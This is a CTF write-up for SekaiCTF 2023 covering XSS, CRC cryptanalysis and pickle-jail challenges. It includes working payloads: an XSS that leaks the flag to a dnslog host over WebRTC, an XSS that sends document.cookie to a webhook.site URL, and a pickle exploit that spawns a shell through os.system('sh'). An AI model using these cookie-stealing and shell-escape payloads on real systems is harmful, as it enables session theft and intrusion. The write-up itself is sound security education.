SekaiCTF 2023 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time, I participated in ${CyStick} and achieved fourth place, mainly solving a few Web and Crypto challenges, and one Pyjail challenge.
Web#
Golf Jail#
The challenge is very simple:
<?php
header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
header("Cross-Origin-Opener-Policy: same-origin");
$payload = "🚩🚩🚩";
if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
$payload = $_GET["xss"];
}
$flag = "SEKAI{test_flag}";
if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
$flag = $_COOKIE["flag"];
}
?>
<!DOCTYPE html>
<html>
<body>
<iframe
sandbox="allow-scripts"
srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
></iframe>
</body>
</html>In short, you can perform arbitrary XSS in a sandboxed iframe, but the length is limited to 30 characters, and you need to find a way to bypass the restriction to send the flag out.
Initially, a teammate discovered that using eval baseURI could achieve arbitrary XSS. This is because the scope of inline event handlers includes all attributes of the current element (equivalent to with(element) { ... }), so <svg/onload=eval('`'+baseURI)> can achieve arbitrary XSS. For the URL part, just piece together some characters.
Next, to get the flag, since the comment is not within <html> (document.documentElement), it is harder to retrieve. A teammate found that document.childNodes[0].nodeValue.trim() could retrieve it.
Due to CSP and sandbox restrictions, we couldn't use normal methods (fetch, redirect, open) to send the flag out. However, the browser's WebRTC feature can be utilized to send DNS requests externally. (Ref #1, #2)
Specifically, it looks something like this:
pc = new RTCPeerConnection({iceServers: [{'url': 'stun:f82kndi.q.dnsl0g.net:19302'}]})
pc.createDataChannel('d')
pc.setLocalDescription()Finally, string everything together:
https://golfjail.chals.sekai.team/?`;d=new[window.URL][0](document.body.baseURI).searchParams.get(`h`);console.log(d);eval(d)//&xss=%3Csvg/onload=eval(%27%60%27%2bbaseURI)%3E&h=console.log(123);pc%20=%20new%20RTCPeerConnection({iceServers:%20[{%27url%27:%20%27stun:%27%2B[...document.childNodes[0].nodeValue.trim()].map(c=%3Ec.charCodeAt(0)).map(c=%3Ec.toString(16).padStart(2,%270%27)).join(%27%27).slice(60,80)%2B%27.o4ns16y.q.dnsl0g.net:19302%27,}]});pc.createDataChannel(%27d%27);pc.setLocalDescription();In practice, due to DNS restrictions being case-insensitive, I first converted the flag to hex, and then leaked it in segments due to length constraints.
Flag: SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}
Leakless Note#
I solved this challenge using a 100% unintended method. Several web challenges in this CTF shared the same IP, and this challenge's https://leaklessnote.chals.sekai.team/ and another challenge's http://chunky.chals.sekai.team:8080 (Chunky) were among them. After some testing, I found that I could access Chunky's service through http://leaklessnote.chals.sekai.team:8080. Chunky had a very simple XSS vulnerability, so what could I do?
Since http://leaklessnote.chals.sekai.team:8080 and https://leaklessnote.chals.sekai.team/ have different schemes, they are neither Same-Site nor Same-Origin. Therefore, I couldn't use XSS to embed an iframe without sending cookies (not Same-Site), and using window.open couldn't directly manipulate it (not Same-Origin). Initially, I didn't think of how to use this.
After a long time, I realized that https://leaklessnote.chals.sekai.team/'s cookie was PHP's default session_start() (i.e., PHPSESSID), which by default is neither Secure nor HttpOnly. Since cookies are not port-specific, I could read PHPSESSID through document.cookie on http://leaklessnote.chals.sekai.team:8080 XDDDDD.
Finally, I just performed XSS on the Chunky challenge:
<script>(new Image).src='https://webhook.site/597070cc-00d3-44eb-adc1-c6fd3443170b?'+document.cookie</script>Then, let the Leakless Note Admin Bot visit http://leaklessnote.chals.sekai.team:8080/path/to/xss/....
Flag: SEKAI{opleakerorz}
Crypto#
Noisy CRC#
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from flag import FLAG
def getCRC16(msg, gen_poly):
assert (1 << 16) <= gen_poly < (1 << 17) # check if deg = 16
msglen = msg.bit_length()
msg <<= 16
for i in range(msglen - 1, -1, -1):
if (msg >> (i + 16)) & 1:
msg ^= (gen_poly << i)
return msg
def oracle(secret, gen_poly):
res = [secrets.randbits(16) for _ in range(3)]
res[secrets.randbelow(3)] = getCRC16(secret, gen_poly)
return res
def main():
key = secrets.randbits(512)
cipher = AES.new(sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678")
enc_flag = cipher.encrypt(FLAG)
print(f"Encrypted flag: {enc_flag.hex()}")
used = set({})
while True:
gen_poly = int(input("Give me your generator polynomial: "))
assert (1 << 16) <= gen_poly < (1 << 17) # check if deg = 16
if gen_poly in used:
print("No cheating")
exit(1)
used.add(gen_poly)
print(oracle(key, gen_poly))
main()This CRC challenge is simple, just x16MmodG, where G is gen_poly and M is msg. The oracle allows you to specify a G and then calculates CRC(M,G) mixed with two other unknown values, so this CRC oracle is noisy.
If you can repeatedly use the same G to query, finding the intersection of two results gives the correct CRC(M,G), which can be multiplied by x−16 (assuming invertible) to get MmodG. Collecting enough CRC(M,Gi),Gi allows using CRT to get M. However, since repeating G is prohibited, what can be done?
The intended solution is to exploit the fact that it doesn't check if G is a primitive polynomial. You can choose a primitive f, then send g1f and g2f, and then reduce the returned values modulo f and find the intersection to get Mmodf.
However, I solved it differently, considering only the case where G is a primitive polynomial. In this case, we know MmodGi has three possibilities, denoted as ri,1,ri,2,ri,3, called Noisy CRT.
We know that CRT ultimately involves linear combinations, so we can calculate a coefficient Ti for each Gi as:
TiTi≡1(modni)≡0(modnj=i)Then we have
M≡i∑Ti(j=1∑3ai,jri,j)(modL)where L=lcm(Gi), and ai,j is either 0 or 1, indicating which MmodGi is correct. Expanding this becomes a subset sum problem, and since each element is a polynomial in F2, it can be converted to a matrix.
For this challenge, if we make n queries, we get a large matrix A of size 3n×16n, and there exists a vector s such that sA=k, where k is our key, i.e., M.
Since the key is only 512 bits, with my LSB on the left notation, k's 512th dimension onwards are 0. Therefore, we can take A's 512 columns and find the left kernel, ensuring s is in this kernel.
To find k, we want the kernel dimension to be very small. Testing shows that the larger n is, the smaller the kernel dimension, and n≥40 ensures the kernel dimension is 1, guaranteeing a unique s, thus decrypting the flag.
This n=40 is not arbitrary but is the smallest positive integer satisfying 16n−512>3n, maximizing the rank of the sliced A.
In the code below, mat is A, and sol is s:
from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast
def int2bv(i, n):
return list(map(int, f"{i:0{n}b}"))[::-1]
def bv2int(bv):
return sum([int(b) << i for i, b in enumerate(bv)])
R = GF(2)["x"]
x = R.gen()
def int2poly(i):
return R(int2bv(i, 17))
def get_polys(extra):
polys = set()
while len(polys) < 512 // 16 + extra:
while True:
f = R.random_element(16)
if f.is_irreducible():
polys.add(f)
break
return list(polys)
extra = 8
polys = get_polys(extra)
int_polys = [bv2int(f) for f in polys]
# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3005)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())
io.sendline("\n".join(map(str, int_polys)).encode())
results = []
for G in polys:
io.recvuntil(b"polynomial: ")
res = ast.literal_eval(io.recvlineS().strip())
results.append((G, res))
residues = []
for G, res in results:
iv = (x**16).inverse_mod(G)
ress = [iv * int2poly(r) % G for r in res]
residues.append(ress)
T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
for res in residues[i]:
arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])
sol = mat[:, -16 * extra :].left_kernel_matrix()[0]
key = bv2int(sol * mat)
cipher = AES.new(
sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678"
)
print(cipher.decrypt(enc_flag))
# SEKAI{CrCrCRcRCRcrcrcRCrCrC}Noisier CRC#
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from flag import FLAG
isIrreducible = [True for i in range(1 << 17)]
def init():
for f in range(2, 1 << 17):
if isIrreducible[f]:
ls = [0] # store all multiples of polynomial `f`
cur_term = f
while cur_term < (1 << 17):
ls = ls + [x ^ cur_term for x in ls]
cur_term <<= 1
for g in ls[2:]: # the first two terms are 0, f respectively
isIrreducible[g] = False
def getCRC16(msg, gen_poly):
assert (1 << 16) <= gen_poly < (1 << 17) # check if deg = 16
msglen = msg.bit_length()
msg <<= 16
for i in range(msglen - 1, -1, -1):
if (msg >> (i + 16)) & 1:
msg ^= (gen_poly << i)
return msg
def oracle(secret, gen_poly):
l = int(13.37)
res = [secrets.randbits(16) for _ in range(l)]
res[secrets.randbelow(l)] = getCRC16(secret, gen_poly)
return res
def main():
init() # build table of irreducible polynomials
key = secrets.randbits(512)
cipher = AES.new(sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678")
enc_flag = cipher.encrypt(FLAG)
print(f"Encrypted flag: {enc_flag.hex()}")
used = set({})
for _ in range(int(133.7)):
gen_poly = int(input("Give me your generator polynomial: "))
assert (1 << 16) <= gen_poly < (1 << 17) # check if deg = 16
if not isIrreducible[gen_poly]:
print("Invalid polynomial")
exit(1)
if gen_poly in used:
print("No cheating")
exit(1)
used.add(gen_poly)
print(oracle(key, gen_poly))
main()Similar to the previous challenge, but this time, besides requiring G to be primitive, the oracle's return value is even noisier (12/13), and only 133 queries are allowed.
Using the same method, we need to find the smallest positive integer satisfying 16n−512>13n, which is 171, meaning at least n=171 is needed to find a unique solution using the previous method.
With only n=133 allowed, testing shows that the sliced A (i.e., mat[:, -16 * extra :]) has a left kernel (Mk) dimension of 113, exactly 13n−(16n−512). To find s, we need to brute-force about 2133 times, which is infeasible.
The key is to realize that s is not a completely random vector. It represents
M≡i∑Ti(j=1∑13ai,jri,j)(modL)where ai,j, although having a dimension of 13n, only has n positions as 1, and the rest are 0. So, we can randomly select some dimensions, guess those positions as 0, and then find the left kernel of the sliced Mk, finally multiplying it back to the original Mk to get s.
Since the kernel dimension is 113, we need at least 113 guesses, roughly estimating to 13 bits, which is feasible:
−log2(1312)113≈13However, in practice, each brute-forced result is not the unique s but a subspace spanned by s, which is small. Fortunately, these subspaces have low dimensions, and filtering a few smaller subspaces and brute-forcing can find s.
from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast
import itertools
from tqdm import tqdm
import random
def int2bv(i, n):
return list(map(int, f"{i:0{n}b}"))[::-1]
def bv2int(bv):
return sum([int(b) << i for i, b in enumerate(bv)])
R = GF(2)["x"]
x = R.gen()
def int2poly(i):
return R(int2bv(i, 17))
isIrreducible = [True for i in range(1 << 17)]
def init():
for f in range(2, 1 << 17):
if isIrreducible[f]:
ls = [0] # store all multiples of polynomial `f`
cur_term = f
while cur_term < (1 << 17):
ls = ls + [x ^ cur_term for x in ls]
cur_term <<= 1
for g in ls[2:]: # the first two terms are 0, f respectively
isIrreducible[g] = False
init()
irr = [i for i, b in enumerate(isIrreducible) if b and (1 << 16) <= i]
def get_polys(n):
start = 15
return [int2poly(i) for i in irr[start : start + n]]
extra = 133
polys = get_polys(extra)
extra -= 512 // 16
print(len(polys))
int_polys = [bv2int(f) for f in polys]
# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3006)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())
io.sendline("\n".join(map(str, int_polys)).encode())
results = []
for G in polys:
io.recvuntil(b"polynomial: ")
res = ast.literal_eval(io.recvlineS().strip())
results.append((G, res))
residues = []
for G, res in results:
iv = (x**16).inverse_mod(G)
ress = [iv * int2poly(r) % G for r in res]
residues.append(ress)
T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
for res in residues[i]:
arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])
ker = mat[:, -16 * extra :].left_kernel_matrix()
print(ker.dimensions())
# for i in tqdm(
# itertools.product(range(2), repeat=ker.dimensions()[0]),
# total=2 ** ker.dimensions()[0],
# ):
# sol = vector(i) * ker
# key = bv2int(sol * mat)
# cipher = AES.new(
# sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678"
# )
# flag = cipher.decrypt(enc_flag)
# if flag.isascii():
# print(flag)
# -log((12/13)**113,2).n() ~= 13
def brute(id):
r = random.Random(secrets.token_bytes(16))
attempts = 0
while True:
attempts += 1
if attempts % 100 == 0:
print(id, attempts)
sidx = []
for i in range(0, 13 * 113, 13):
sidx.append(r.choice(range(i, i + 13)))
sidx = tuple(sidx)
lk = ker[:, sidx].left_kernel_matrix()
print(lk.dimensions())
if lk.dimensions()[0] > 8:
continue
sol_space = lk * ker
for i in itertools.product(range(2), repeat=sol_space.nrows()):
sol = vector(i) * sol_space
key = bv2int(sol * mat)
cipher = AES.new(
sha256(long_to_bytes(key)).digest()[:16],
AES.MODE_CTR,
nonce=b"12345678",
)
flag = cipher.decrypt(enc_flag)
if flag.isascii():
while True:
# to ensure that the flag will not be overwritten by other processes :)
print(flag)
break
else:
continue
break
from concurrent.futures import ProcessPoolExecutor
with ProcessPoolExecutor(max_workers=4) as executor:
executor.map(brute, range(4))
# SEKAI{4R3_Y0U_cRc_M4s73R?}Later, I asked the author Utaha and found out that s actually contains more information. In the loop constructing $A (mat`):
arr = []
for i in range(len(polys)):
for res in residues[i]:
arr.append(T[i] * res % P)If s is grouped into 13 groups, each group has only one 1. So, s's form is:
s=b+i=1∑12nxiviwhere the vectors are defined as:
b=v1=v2=v3=v13=v14=[1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,⋯][1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,⋯][1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,⋯][1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,⋯]⋮[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,⋯][0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,⋯]⋮Notice that s defined this way is in a 12n linear space, n less than the original 13n, filling the kernel dimension issue.
Define A′ as the submatrix of A after 512 columns, and V as the matrix of vi row vectors, then:
sA′=0s=b+xV(b+xV)A′=0x(VA′)=−bA′Solving this directly gives x. In practice, VA′'s left kernel still exists but with low dimensions. Although I don't know why, brute-forcing can find x, thus finding s and k to get the flag.
from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast
import itertools
from tqdm import tqdm, trange
import random
def int2bv(i, n):
return list(map(int, f"{i:0{n}b}"))[::-1]
def bv2int(bv):
return sum([int(b) << i for i, b in enumerate(bv)])
R = GF(2)["x"]
x = R.gen()
def int2poly(i):
return R(int2bv(i, 17))
isIrreducible = [True for i in range(1 << 17)]
def init():
for f in range(2, 1 << 17):
if isIrreducible[f]:
ls = [0] # store all multiples of polynomial `f`
cur_term = f
while cur_term < (1 << 17):
ls = ls + [x ^ cur_term for x in ls]
cur_term <<= 1
for g in ls[2:]: # the first two terms are 0, f respectively
isIrreducible[g] = False
init()
irr = [i for i, b in enumerate(isIrreducible) if b and (1 << 16) <= i]
def get_polys(n):
start = 15
return [int2poly(i) for i in irr[start : start + n]]
total = 133
polys = get_polys(total)
extra = total - 512 // 16
print(len(polys))
int_polys = [bv2int(f) for f in polys]
# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3006)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())
io.sendline("\n".join(map(str, int_polys)).encode())
results = []
for G in polys:
io.recvuntil(b"polynomial: ")
res = ast.literal_eval(io.recvlineS().strip())
results.append((G, res))
residues = []
for G, res in results:
iv = (x**16).inverse_mod(G)
ress = [iv * int2poly(r) % G for r in res]
residues.append(ress)
T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
for res in residues[i]:
arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])
ker = mat[:, -16 * extra :].left_kernel_matrix()
print(ker.dimensions()) # not zero :(
# with Utaha's idea
# sol would be in the form of
# [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, ...]
# + ? * [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...]
# + ? * [1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...]
# ...
# + ? * [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, ...]
# + ? * [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, ...]
# ...
# so sol-base would be in 12*133 dim space instead of 13*133 dim space
F = GF(2)
vecs = []
for i in trange(total):
for j in range(13 - 1):
v = vector(F, [0] * total * 13)
v[13 * i] = 1
v[13 * i + j + 1] = 1
vecs.append(v)
V = matrix(vecs)
base = vector(F, [0] * total * 13)
for i in range(total):
base[13 * i] = 1
"""
A'=mat[:, 512:]
sA'=0
s=b+xV
(b+xV)A'=0
x(VA')=-bA'
"""
Ap = mat[:, 512:]
rhs = -base * Ap
lhs = V * Ap
x0 = lhs.solve_left(rhs)
lk = lhs.left_kernel_matrix()
print(lk.dimensions())
for i in itertools.product([0, 1], repeat=lk.nrows()):
x = x0 + vector(i) * lk
sol = x * V + base
key = bv2int(sol * mat)
cipher = AES.new(
sha256(long_to_bytes(key)).digest()[:16],
AES.MODE_CTR,
nonce=b"12345678",
)
flag = cipher.decrypt(enc_flag)
if flag.isascii():
print(flag)
print(i) # but for a overwhleming majority of cases, this is (0, 0, 0, ...)
break
# SEKAI{4R3_Y0U_cRc_M4s73R?}Misc#
Just Another Pickle Jail#
A long pickle jail code, not wanting to paste or explain :P
Directly throwing the exploit:
import sys
sys.path.insert(0, "./Pickora")
from pickora import Compiler
import pickletools
def unary(result_name, fn_name, arg_name):
return f"""__builtins__['next'] = {fn_name}
up._buffers = {arg_name}
{result_name} = NEXT_BUFFER()
"""
pk = Compiler().compile(
f"""
from x import Unpickler, __main__, __builtins__, up
BUILD(__main__,__builtins__,None)
from x import getattr, print, vars, dir, object, type, dict, list
{unary('val', 'vars', 'dict')}
BUILD(__main__,val,None)
from x import values as dictvalues
{unary('val', 'vars', 'list')}
BUILD(__main__,val,None)
from x import pop as listpop
{unary('val', 'vars', 'list')}
BUILD(__main__,val,None)
from x import reverse as listreverse
{unary('bl', 'dictvalues', '__builtins__')}
{unary('bl', 'list', 'bl')}
{unary('_', 'listreverse', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
s = 'object.mgk.nested.__import__("os").system("sh")'
{unary('val', 'val', 's')}
"""
)
print(pk.hex())
# (python gen.py; cat) | nc chals.sekai.team 5077
# SEKAI{Pls_dm_me_your_solution!!!!!_PLS_PLS_PLS_PLS_PLS_PLS_10a429da9dc989a9a30c9d129b8e66abd63749854f80fb23379e5598cba1daaa}